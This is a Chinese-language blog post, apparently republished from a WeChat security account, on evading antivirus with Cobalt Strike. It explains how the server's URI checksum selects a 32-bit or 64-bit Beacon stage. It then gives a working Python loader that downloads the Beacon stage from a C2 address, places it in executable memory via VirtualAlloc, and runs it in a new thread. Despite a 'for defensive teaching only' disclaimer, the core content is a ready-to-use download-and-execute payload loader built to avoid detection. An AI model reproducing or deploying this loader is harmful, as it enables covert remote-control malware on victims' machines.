前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CS免杀-实现shellcode拉取stage

CS免杀-实现shellcode拉取stage

作者头像
潇湘信安
发布2021-04-29 17:08:33
1.8K0
发布2021-04-29 17:08:33
举报
文章被收录于专栏:潇湘信安

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学,切勿用于它用途

公众号:XG小刚

Shellcode原理


通常我们使用CS生成payload后,都是利用加载器将payload放在内存中运行

但payload是如何与CS服务器通信的,我们不是很了解,因为生成的payload是一串机器码,没有反汇编能力的很难看懂其中的原理。

当我网上查资料发现,原来CS生成的shellcode是使用wininet库实现的加载器,用来下载对应的stage(Beacon),并将stage注入到内存中去。

看到这就懂了,就是我们的加载器加载了一个shellcode写的加载器,用来拉取CS的stage,典型套娃啊。

源码


但是这里的访问stage不是随便访问的。CS客户端会判断我们的请求,请求正确才会返回给我们stage数据。

看一下CS的源码啊

在CS的源码中,会根据访问的URI,经过一系列操作checksum8()是否等于92或93来判断访问。

等于92返回32位beacon,等于93返回64位beacon,都不等于则访问失败。

当然,每个人配置不同也会同时根据访问url或user-agent等判断。

这里我生成两个exe文件,一个32位,一个64位

可以看到URI为/trF4时CS判断为32位,为/Ln5r时判断为64位

这样访问http://192.168.10.1:8989/Ln5r就会返回给我们64位的stage(Beacon)

加载器


这样我们可以通过py将stage写入内存实现CS上线

代码语言:javascript
复制
import ctypes
import requests

headers = {
    'User-Agent': "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",
}
shellcode = requests.get("http://192.168.10.1:8989/Ln5r", headers=headers)
shellcode = bytearray(shellcode.content)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ptr,buf,len(shellcode))

handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

注意URI根据自己CS的配置来,可以先生成64位exe,看它访问的URI是多少

加载器目前只能实现64位上线,32位有空再搞搞。

然后可以将py代码转成汇编,再转成shellcode,有会转shellcode的大佬可以教教我。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档